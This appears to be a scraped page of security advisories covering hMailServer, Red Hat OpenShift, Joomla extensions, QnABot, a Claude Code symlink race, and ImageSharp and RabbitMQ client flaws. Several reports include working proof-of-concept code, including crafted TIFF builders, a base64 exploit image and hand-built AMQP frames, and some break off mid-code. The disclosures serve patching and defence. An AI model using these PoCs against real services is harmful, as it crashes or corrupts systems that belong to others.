Search: h-w-g.com

Heap-based buffer overflow in the legacy Blowfish encryption routine (BlowFishEncryptor::Encode, called by EncryptToString) in Progressive Robot hMailServer 6.0.0 through 6.3.5 allows an authenticated mailbox user to cause a denial of service (service crash), and possibly other unspecified impact. In 6.3.4 and 6.3.5, where the self-service REST API is enabled (it is off by default), the user does this remotely by adding a fetch account whose password is 129 to 247 characters long and not a multiple of 8, and then requesting their personal data export (GET /api/v1/me/export.zip), which encrypts that password with the legacy scheme. The same flaw is reachable on Windows by any local interactive user with no hMailServer credentials, through the COM method Utilities.BlowfishEncrypt, which checked no authentication. It is also reachable by every stored-secret write when ProtectStoredSecretsWithDPAPI is set to 0. For such a length, the routine's padding loop writes up to 7 zero bytes 2 to 232 bytes past the end of its 255-byte heap buffer. The ciphertext it returns is still correct.

Heap-based buffer overflow in the legacy Blowfish decryption routine (BlowFishEncryptor::DecryptFromString) in Progressive Robot hMailServer 6.0.0 through 6.3.3 on Windows allows a local interactive user with no hMailServer credentials to write bytes of their choosing past the end of a 255-byte heap buffer in the hMailServer service process, which runs as LocalSystem by default. The user does this by passing a long hexadecimal string to the COM method Utilities.BlowfishDecrypt, which checked no authentication. The routine converted hexadecimal input of any length into a fixed 255-byte buffer before decrypting it in place. The result is a denial of service (service crash), and possibly code execution with the privileges of the service account.

Missing authorization on COM objects in Progressive Robot hMailServer 6.0.0 through 6.3.5 (Windows only) lets a local interactive user with no hMailServer credential read and write arbitrary files as the service account and queue mail as any sender. The service registers its COM classes with no DCOM access or launch permission and calls CoInitializeSecurity with no security descriptor, so any user logged on at the console or over Remote Desktop can activate the classes in the running service; a hMailServer.Message, its Attachments and Attachment, and a hMailServer.FetchAccount created this way carry a credential that never authenticated. Attachments.Add(path) and Attachment.SaveAs(path) performed no authorization check, and Message.Save/Copy and FetchAccount.AccountID/Save performed none either up to 6.3.3 and from 6.3.4 treated a holder with no credential as the server's own event-script host. Because the service does not impersonate the COM caller, Attachments.Add reads any file the service account can read and returns it, Attachment.SaveAs writes attacker-chosen bytes to any path it can write (on a LocalSystem installation, code execution as SYSTEM), Message.Save queues outbound mail from any address past the SMTP checks, and FetchAccount attaches a mail-fetch job to any mailbox. The objects an Application handed out behave the same once a later Authenticate on that Application fails.

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the container images for Red Hat OpenShift Container Platform 4.16.72. See the following advisory for the RPM packages for this release: https://access.redhat.com/errata/RHBA-2026:73850 Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes: https://docs.redhat.com/en/documentation/openshift_container_platform/4.16/html/release_notes/

### Summary The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.1.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. The T6 compressor was introduced by commit `3c9eb470a07a15012c2a29ad84090dcc804a7975`, first released in v2.1.0, with the same `Width * rowsPerStrip` allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1. ### Details [`TiffCcittCompressor.Initialize`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L527-L532) allocates `Width * rowsPerStrip` bytes. A 1×1 strip therefore receives one byte. After encoding the row, [`T6BitCompressor.CompressStrip`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/T6BitCompressor.cs#L53-L131) appends two 12-bit EOFB codes. [`WriteCode`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L466-L479) writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws `ArgumentOutOfRangeException`, after the unchecked writes have exceeded the one-byte span. The default TIFF encoder can inherit `CcittGroup4Fax` and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path. ### Tested environment - Published NuGet package: `SixLabors.ImageSharp` 4.1.1 - Target framework: `net8.0` - .NET SDK: 8.0.424 - .NET runtime: 8.0.30 - Operating system: Debian GNU/Linux 12, ARM64, Docker No active exploitation is known. ### Reproduction Create a `net8.0` project referencing the published 4.1.1 assembly and use this `Program.cs`: ```csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats.Tiff; using SixLabors.ImageSharp.Formats.Tiff.Constants; string mode = args.FirstOrDefault() ?? "exploit"; byte[] input = Convert.FromBase64String( "SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA"); using Image image = Image.Load(input); var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata(); Console.WriteLine($"ImageSharp={typeof(Image).Assembly.GetName().Version}"); Console.WriteLine($"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}"); using var output = new MemoryStream(); if (mode == "control") { image.Save(output, new TiffEncoder { Compression = TiffCompression.None }); } else { image.Save(output, new TiffEncoder()); } Console.WriteLine($"encoded=True bytes={output.Length}"); ``` Run: ```text dotnet run -- exploit dotnet run -- control ``` The exploit produced exit code 134: ```text ImageSharp=4.0.0.0 mode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1 Unhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values. at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height) ``` The control completed with exit code 0: ```text ImageSharp=4.0.0.0 mode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1 encoded=True bytes=212 ``` ### Impact One attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.

### Summary `SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input. One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both. ### Details [`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF with its first IFD at offset 16 and entry count `5000000000`. There are no bytes for an entry. Run the supplied container under a five-second timeout. Complete observed output: ```text bigTiffBytes=24 entryCount=5000000000 timeout exit status: 124 ``` `timeout` exit code 124 means the decoder had not returned after five seconds. The control is identical except the entry count is `1`: ```text bigTiffBytes=24 entryCount=1 decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth Docker exit status: 0 ``` The control rejects malformed input promptly; it does not time out. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; static class Program { // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data. // The count field is controlled by the input. private static byte[] BuildBigTiff(ulong entryCount) { byte[] bytes = new byte[24]; bytes[0] = 0x49; bytes[1] = 0x49; // II bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8); BitConverter.GetBytes(entryCount).CopyTo(bytes, 16); return bytes; } private static void Main(string[] args) { ulong entryCount = ulong.Parse(args[0]); byte[] bytes = BuildBigTiff(entryCount); Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}"); try { using var stream = new MemoryStream(bytes); using Image image = Image.Load(stream); Console.Error.WriteLine("completed"); } catch (Exception ex) { Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}"); } } } ``` Project file: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> </Reference> </ItemGroup> </Project> ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY wmxv.csproj Program.cs ./ RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' >

### Summary `SixLabors.ImageSharp` can terminate a process when an application decodes an attacker-supplied 32-bit floating-point TIFF as `Image<HalfVector4>` and applies `HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range `HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based histogram index without validating that result, reaching an unsafe out-of-range access. This report covers `HistogramEqualization` only. It does not claim Adaptive Histogram Equalization or AutoLevel behavior. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. TIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release. ### Details [`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram. The reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction Build the supplied Dockerfile and run the exploit. The harness creates a valid 8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity, decodes it through the public API, and invokes `HistogramEqualization()`. Observed result: ```text mode=exploit tiffBytes=166 sample=Infinity decoded=8x1 pixel=<Infinity, Infinity, Infinity, 1> Fatal error. System.AccessViolationException: Attempted to read or write protected memory. ... at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke ... at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization Docker exit status: 133 ``` The control is identical except samples are `0.5`: ```text mode=control tiffBytes=166 sample=0.5 decoded=8x1 pixel=<0.5, 0.5, 0.5, 1> completed Docker exit status: 0 ``` When the same exploit binary was invoked through a shell inside the container, the shell printed `Aborted` and reported status 134. The direct `docker run` result above is the result for the supplied Docker commands. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.PixelFormats; using SixLabors.ImageSharp.Processing; static class Program { private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value) { ifd.AddRange(BitConverter.GetBytes(tag)); ifd.AddRange(BitConverter.GetBytes(type)); ifd.AddRange(BitConverter.GetBytes(count)); ifd.AddRange(BitConverter.GetBytes(value)); } // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples. private static byte[] BuildTiff(float sample) { const int width = 8; const int entries = 10; const int ifdOffset = 8; const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4; List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00]; List<byte> ifd = []; ifd.AddRange(BitConverter.GetBytes((ushort)entries)); const ushort Short = 3, Long = 4; AddEntry(ifd, 256, Long, 1, width); // ImageWidth AddEntry(ifd, 257, Long, 1, 1); // ImageLength AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample AddEntry(ifd, 259, Short, 1, 1); // Compression = none AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts AddEntry(ifd,

### Summary A malformed embedded ICC profile can make ImageSharp allocate memory from attacker-controlled CLUT channel and grid dimensions before verifying that the declared CLUT values are present. In published v1 through v3 packages, the public lazy ICC parser allocates approximately 115 MB from the 200-byte test profile before rejecting the truncated tag. In published v4 packages, decoding with ICC conversion enabled requests an 860,934,420-byte managed float array from the same profile. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 1.0.0-beta0001, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. The parser defect is present from the first published NuGet prerelease, `1.0.0-beta0001`, through the latest published release, 4.1.1. The automatic `Image.Load` conversion path used by the main PoC exists in `>= 4.0.0, <= 4.1.1`; earlier versions expose the same parser defect through the public `IccProfile.Entries` accessor. ### Details The reproduced profile has an `A2B0` multi-process-elements (`mpet`) tag with a `clut` element declaring 15 input channels, 15 output channels, and three grid points per input channel. [`ReadClutF32`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/ICC/DataReader/IccDataReader.Lut.cs#L139-L162) computes `3^15 * 15` and allocates that many floats before reading any CLUT values or verifying that the tag has enough remaining data. The supplied 200-byte profile ends immediately after the CLUT grid descriptor. In v4, the path is reached when an application decodes an embedded ICC profile using `DecoderOptions.ColorProfileHandling = ColorProfileHandling.Convert`. The default setting, `Preserve`, does not parse the profile for conversion. In v1 through v3, `ReadClutF32` uses a jagged representation. Loading an ICC-bearing JPEG and then accessing `decoded.Metadata.IccProfile.Entries` reaches the public lazy parser. The malformed profile allocates the `3^15`-entry outer array before the missing CLUT values are detected. ### Reproduction environment and result The supplied automatic-conversion exploit and control were run against the published NuGet 4.1.1 `net8.0` DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and .NET runtime 8.0.30. The same conversion fixture was run against published 4.0.0 and 4.1.0 with the same result. Published 1.0.0, 2.0.0, 2.1.13, 3.0.0, and 3.1.12 were tested through public JPEG decode followed by `IccProfile.Entries`; each allocated approximately 114.9 MB, skipped the malformed tag, and exited normally. The published `1.0.0-beta0001` public `IccProfile(bytes).Entries` path allocated 114,813,528 bytes before a catchable managed bounds exception. One exploit decode increased `GC.GetTotalAllocatedBytes(true)` by approximately 861.5 million bytes, then returned `InvalidIccProfileException: Invalid conversion method`. The reader catches the truncated-tag error and drops that tag. The identical input with `ColorProfileHandling.Preserve` completed successfully with roughly 0.5 million allocated bytes in the harness. One complete exploit run produced: ```text mode=exploit profile_bytes=200 requested_float_array=215233605 requested_bytes=860934420 imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f observed_exception=SixLabors.ImageSharp.Metadata.Profiles.Icc.InvalidIccProfileException: Invalid conversion method. managed_bytes_allocated=861476416 Docker exit status: 0 ``` The control from the same image produced: ```text mode=control profile_bytes=200 requested_float_array=215233605 requested_bytes=860934420 imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f decoded=1x1 icc_present=True managed_bytes_allocated=511888 Docker exit status: 0 ``` The exact allocation counter includes runtime allocations and varies slightly between processes; the requested CLUT array itself is 860,934,420 bytes. No active exploitation is known. ### Impact This report demonstrates a large attacker-controlled transient allocation in the ICC conversion path. It does not demonstrate unhandled process termination: allocation failure is caught while parsing the malformed tag, so the impact should be limited to memory pressure / input-validation failure unless a reproduction demonstrates a stronger result. ### Complete PoC files Program.cs: ```csharp using System; using System.Buffers.Binary; using System.IO; using System.Reflection; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Formats.Png; using SixLabors.ImageSharp.Metadata.Profiles.Icc; using SixLabors.ImageSharp.PixelFormats; static class Program { private const int RequestedFloats = 215233605; // 3^15 * 15 private co

## Summary When decoding a tiled TIFF with fax compression (T4/T6/MH), `DecodeTilesChunky` allocates each tile buffer from **TileWidth** (`ceil(TileWidth*bpp/8)*TileLength` bytes) but constructs the fax decompressor with **frame.Width**: `TiffDecompressorsFactory` ignores the `isTiled/tileWidth/tileHeight` parameters entirely. The T4/T6/MH decompressors treat the full image width as the scanline length and advance (and really write, via read-modify-write bit ops) `frame.Width` bits per row, with no bounds check against the tile buffer. The very first tile therefore writes linearly out of bounds — about `ImageWidth/8` bytes per row × TileLength rows into a `TileWidth`-sized buffer. With ImageWidth=4,000,000, TileWidth=16, TileLength=16 this writes ~2 MB past a 32-byte buffer and kills the process deterministically; a T6 all-white variant advances the bit offset by >512 MB silently, showing an alarm-free heap-corruption window for the same defect. A crafted file fully controls the OOB length per tile and works with perfectly legal per-row run codes (no overlong runs needed). Verified at commit `5cd4d0d26a82a9549f297a237aea9cf665bddff8` (main; latest release v4.1.0, the supported major). ## Details Root cause: a size mismatch between tile buffer allocation and decompressor width, because the factory drops the tile parameters. - Allocation: [TiffDecoderCore.cs#L792-L794](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/TiffDecoderCore.cs#L792-L794) — `bytesPerTileRow = RoundUpToMultipleOfEight(tileWidth*bitsPerPixel)`; tile buffer = `bytesPerTileRow*tileLength` bytes (32 bytes in the PoC) - Mismatch: [TiffDecoderCore.cs#L797](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/TiffDecoderCore.cs#L797) — `CreateDecompressor<TPixel>(frame.Width, ..., isTiled: true, tileWidth, tileLength)` passes the full frame width - Factory drops tile params: [TiffDecompressorsFactory.cs#L56-L64](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/Compression/TiffDecompressorsFactory.cs#L56-L64) — T4/T6/MH decompressors receive only `width` (= frame.Width); `isTiled/tileWidth/tileHeight` ignored - OOB write sink: [T4TiffCompression.cs#L69-L119](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/Compression/Decompressors/T4TiffCompression.cs#L69-L119), `T6TiffCompression.cs#L76-L108` — per-row advance of `this.width` bits via `BitWriterUtils.WriteBits` with no buffer-length check ([BitWriterUtils.cs#L51](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/Compression/BitWriterUtils.cs#L51)); note `TiffDecoderCore.cs:829-831` later reads the buffer in `bytesPerTileRow` strides, confirming the protocol expects tile-width rows Attack surface: `Image.Load(stream)` on an attacker-supplied tiled TIFF (`TiffDecoderCore.DecodeImageWithTiles` → `DecodeTilesChunky`). Default configuration; only requirement is a standard tiled TIFF header (TileWidth=16, TileLength=16) + Compression=3 (T4; T6 also constructible). **Suggested remediation:** 1. Short-term: when `isTiled`, construct the T4/T6/MH decompressor with `tileWidth` (not frame width), or clip row writes to the caller-provided buffer length. 2. Root fix: bound the write side of `BitWriterUtils` (pass remaining bits), and validate every fax row advance against buffer capacity on both tiled and strip paths. 3. Regression tests: Compression=2/3/4 × tiled with TileWidth < ImageWidth, including a T6 black-pixel row (forces real `WriteBit`). ## PoC Full PoC posted as the first comment below: `Program.cs` (driver), `poc-tiled-t4.tif` (crafted file, ~9.8 KB, base64 inline), README. 1. Build a small console project referencing `src/ImageSharp/ImageSharp.csproj` and run it against the crafted file (or call `Image.Load` on it from any host). 2. Observed with ImageWidth=4,000,000, TileWidth=16, TileLength=16, T4 with 400 makeup codes + EOL per row: ``` tile payload 9642 bytes; rows write ~2,048,000 bytes into a 32-byte buffer Fatal error. System.AccessViolationException: Attempted to read or write protected memory. at SixLabors.ImageSharp.Formats.Tiff.Compression.BitWriterUtils.WriteBits(Span`1<Byte>, IntPtr, IntPtr, Byte) at ...T4TiffCompression.WritePixelRun(...) at ...T4TiffCompression.Decompress(...) Aborted (core dumped); exit=134 ``` 3. Controls: the same file with Compression=None decodes normally (container is fine); a T6 all-white-rows variant advances >512 MB of bit offset without a real write (silent corruption window) before tripping on a directory-level TileOffsets count check. ## Impact - **What it is:** out-of-bounds write (CWE-787). For any service decoding untrusted tiled TIFFs: remote, default-configuration, deterministic pro

Claude Code validated that a target file path resided within the project working directory at permission-check time, but re-resolved the path at write time without repeating that validation. This time-of-check to time-of-use (TOCTOU) gap allowed an attacker who could write to the workspace to atomically replace a project file with a symlink, causing Claude Code to follow the symlink and write its output to an arbitrary file outside the project sandbox. Exploitation required the ability to win a race condition against the write operation and write access to the shared workspace, enabling a lower-privileged attacker to redirect benign edits to sensitive files (e.g., shell configuration) in a higher-privileged session. Users on standard Claude Code auto-update have received this fix already. Users performing manual updates are advised to update to the latest version. Thank you to hackerone.com/c_h4ck_0 for reporting this issue.

An unauthenticated SQL injection vulnerability exists in the OrdaSoft Simple Membership extension for Joomla versions 1.0.0 through 7.4.0. The vulnerability occurs because the extension's site/simplemembership.php script dispatches the task=checkLoginPass without any authentication or access control. It reads a login request parameter using Joomla's generic input filter, which does not sanitize quotes or SQL syntax, and directly concatenates this input into an SQL query without escaping or parameterization.

CVE-2026-102781 is a medium severity vulnerability in the OrdaSoft Touch Slider extension for Joomla versions 1.0.0 through 5.4.5. It allows unauthenticated attackers to perform destructive create, read, update, and delete (CRUD) operations due to improper access control. Specifically, the module's AJAX handler lacks user authentication, authorization checks, and CSRF protection. Attackers can delete slider images by guessing sequential IDs or replace entire database tables with attacker-supplied content via a multipart upload.

Authorization bypass through a user-controlled key in the optional Amazon Q Business Lambda hook sample ( q-business-lambda-hook https://github.com/aws-solutions-library-samples/qnabot-on-aws/blob/main/source/docs/lambda_hooks/README.md ), available with QnABot on AWS versions 7.0.0 through 7.4.5, might allow an authenticated remote user to read arbitrary Amazon S3 objects in the deploying AWS account. This sample solution provides an example Lambda hook and requires separate, manual deployment and additional setup. It is not deployed automatically with QnABot. Customers who have not deployed this optional sample hook are not affected and do not need to take action. To remediate this issue, affected customers should update the QnABot on AWS stack to version 7.4.6 or later and then redeploy the Amazon Q Business Lambda hook sample stack. Updating the QnABot on AWS stack alone does not deliver the fix.

Red Hat build of MicroShift is Red Hat's light-weight Kubernetes orchestration solution designed for edge device deployments and is built from the edge capabilities of Red Hat OpenShift Container Platform. MicroShift is an application that is deployed on top of Red Hat Enterprise Linux devices at the edge, providing an efficient way to operate single-node clusters in these low-resource environments. This advisory contains the RPM packages for Red Hat build of MicroShift 4.21.36. Read the following advisory for the container images for this release: https://access.redhat.com/errata/RHSA-2026:74383 Security Fix(es): * encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal (CVE-2026-33818) * mime: golang: Golang MIME: Denial of Service via maliciously-crafted MIME header (CVE-2026-42504) * html/template: golang: Go html/template: Cross-Site Scripting via pathological input (CVE-2026-56858) * net/url: golang: golang net/url: Denial of Service from quadratic complexity in path resolution (CVE-2026-56860) * crypto/tls: golang: Golang crypto/tls: Denial of Service via indefinite KeyUpdate messages (CVE-2026-56862) All Red Hat build of MicroShift 4.21 users are advised to use these updated packages and images when they are available in the RPM repository.

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the container images for Red Hat OpenShift Container Platform 4.20.41. See the following advisory for the RPM packages for this release: https://access.redhat.com/errata/RHSA-2026:74376 Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes: https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/ Security Fix(es): * kernel: sctp: prevent peer transport count overflow (CVE-2026-74469) * kernel: xfrm: ah6: validate routing header segments_left (CVE-2026-80844) * kernel: net: tun: bound receive headroom (CVE-2026-81000) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.20 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html-single/updating_clusters/index#updating-cluster-cli.

### Summary A single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer. The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel. The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue. In short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone. ### Details `ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75 `ValueWriter.writeShortstr` then rejects the result with an unchecked exception: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56 So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected. Two consumption paths are impacted: 1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129 2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two. In both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue. A related instance exists in the library's own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag. ### PoC Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.** 1. Start a broker: ```bash docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq ``` 2. Publish a message whose `correlation-id` is 255 × `0xFF`: ```python import socket, struct def sstr(b): if isinstance(b, str): b = b.encode() return struct.pack(">B", len(b)) + b def lstr(b): return struct.pack(">I", len(b)) + b def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce" def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a QUEUE = "rpc.poison" s = socket.create_connection(("127.0.0.1", 5672), timeout=10) 